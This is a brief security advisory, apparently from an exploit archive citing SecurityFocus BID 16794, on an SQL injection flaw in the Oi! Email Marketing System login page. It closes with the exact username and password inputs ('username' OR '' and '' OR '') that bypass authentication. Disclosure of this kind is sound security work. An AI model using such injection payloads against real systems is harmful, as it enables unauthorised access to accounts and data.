source: http://www.securityfocus.com/bid/16794/info

Oi! Email Marketing System is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Exploitation may also cause a denial of service condition.

go to http://www.example.com/oi/index.php

In this login page provide the following inputs:

Username : username' OR '

Password : ' OR '